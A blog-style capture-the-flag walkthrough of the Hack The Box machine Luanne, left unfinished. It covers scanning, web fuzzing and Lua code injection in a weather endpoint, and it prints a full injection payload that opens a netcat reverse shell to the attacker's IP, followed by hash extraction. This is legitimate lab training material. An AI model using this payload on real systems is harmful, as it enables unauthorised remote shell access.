# Luanne ~ Hack The Box

* * *

### Prerequisite

![Luanne ~ Hack The Box](https://cdn.hashnode.com/res/hashnode/image/upload/v1680985555913/ab0f718d-a806-441f-9b4b-bfcf702e7d60.jpeg)

Just to make life easier I usually add an entry in my hosts file for easier access of the target machine.

    echo "10.10.10.215	luanne.htb" >> /etc/hosts

hosts file entry

![Luanne ~ Hack The Box](https://cdn.hashnode.com/res/hashnode/image/upload/v1680985557144/ce4bfddb-ba18-48c2-9de5-6b37b0bd64b7.png)

Okay now onto the hacking!

* * *

### Reconnaissance

As always, I started off with an NMAP scan against the machine.

     nmap -Pn -sC -sV -oN initial luanne.htb

![Luanne ~ Hack The Box](https://cdn.hashnode.com/res/hashnode/image/upload/v1680985558169/d0928d24-2999-45f8-ae24-6d7ff59ccb4e.png)

### Scanning & Enumeration

Based on the scan that was run, I realized that port 80 was running a web server. This was the web app that was being served!

![Luanne ~ Hack The Box](https://cdn.hashnode.com/res/hashnode/image/upload/v1680985559365/a73f81bd-29fa-4bcd-9477-9a80469b3c9a.png)

I was unauthorized to access the site. However, I found directory which was listed in `robots.txt`.

![Luanne ~ Hack The Box](https://cdn.hashnode.com/res/hashnode/image/upload/v1680985560486/b6e68e0d-3bb2-4af1-b298-b519367081b1.png)

Thus, I ran a directory brute force attack against it using gobuster.

![Luanne ~ Hack The Box](https://cdn.hashnode.com/res/hashnode/image/upload/v1680985561514/911cd92b-0822-4859-834d-b499904a4fb5.png)

I found that `/weather/forecast` was a valid directory.

![Luanne ~ Hack The Box](https://cdn.hashnode.com/res/hashnode/image/upload/v1680985562532/d5a1b714-f188-414b-8d93-8a7b48fee5c4.png)

Accessing it gave me this message. I inferred and input a parameter in the URL.

![Luanne ~ Hack The Box](https://cdn.hashnode.com/res/hashnode/image/upload/v1680985563800/8b7f1403-5383-4763-9d89-8e6e165fdf88.png)

My next order of business was to run a parameter fuzz attack on `?city=`. I used an Intruder attack from Burpsuite for that. I also used a custom fuzz list which I found over at [Github](https://raw.githubusercontent.com/1N3/IntruderPayloads/master/FuzzLists/basic_fuzz.txt).

![Luanne ~ Hack The Box](https://cdn.hashnode.com/res/hashnode/image/upload/v1680985564922/f565de32-2cd9-48a5-b369-a22c1a507dd5.png)

![Luanne ~ Hack The Box](https://cdn.hashnode.com/res/hashnode/image/upload/v1680985566001/1d0ec8b2-400d-4825-8eaa-78227bb3ad70.png)

![Luanne ~ Hack The Box](https://cdn.hashnode.com/res/hashnode/image/upload/v1680985567106/8e66dfd8-2155-4dde-b11c-942946e342a8.png)

The fuzz attack revealed that the `weather` was a `.lua` file. Thus, I started thinking if I could get remote code execution by tampering the parameters.

### Exploitation

The first step was to confirm if the theory would work. For that, I used a simple payload to run the command `whoami`.

![Luanne ~ Hack The Box](https://cdn.hashnode.com/res/hashnode/image/upload/v1680985568438/4c90da0c-8e85-4af2-a942-90b539a30ecd.png)

Now that I had confirmed that I had RCE, it was time to craft a payload to get a reverse shell. After constructing the payload, I had to URL encode it.

    neewashere') os.execute('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.47 666 >/tmp/f')--

![Luanne ~ Hack The Box](https://cdn.hashnode.com/res/hashnode/image/upload/v1680985569516/6b494f81-ae1d-4159-8226-a113fc2fa67a.png)

I uncovered that the machine was running netBSD while doing enumeration. Thus, I picked a OpenBSD based netcat reverse shell which I found [here](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md#netcat-openbsd).

![Luanne ~ Hack The Box](https://cdn.hashnode.com/res/hashnode/image/upload/v1680985570377/ae5c0ca6-682c-4055-8a25-d995558c8443.png)

![Luanne ~ Hack The Box](https://cdn.hashnode.com/res/hashnode/image/upload/v1680985571405/846b7657-f976-4f1c-a780-ebf5ec232f6e.png)

### Lateral Movement

Now that I had a shell into the machine, I busted out `linpeas.sh` and tried to enumerate the machine further.

![Luanne ~ Hack The Box](https://cdn.hashnode.com/res/hashnode/image/upload/v1680985572481/9d3d4f5a-2177-4d6f-b885-317402237d9e.png)

![Luanne ~ Hack The Box](https://cdn.hashnode.com/res/hashnode/image/upload/v1680985573513/12786f6b-8735-4468-bef1-520f7bb1c271.png)

Linpeas revealed that there was a password hash which was located in the root web directory.

![Luanne ~ Hack The Box](https://cdn.hashnode.com/res/hashnode/image/upload/v1680985574468/8995fb60-0acf-4477-bace-f38d75ce04e0.png)

![Luanne ~ Hack The Box](https://cdn.hashnode.com/res/hashnode/image/upload/v1680985575500/8aa3585e-7827-4206-9b01-6a65c948d409.png)

Next up, I fired up `john` to try and crack the password.

> Still trying to crack :(

### Privilege Escalation

> Haven't even gotten the user flag :(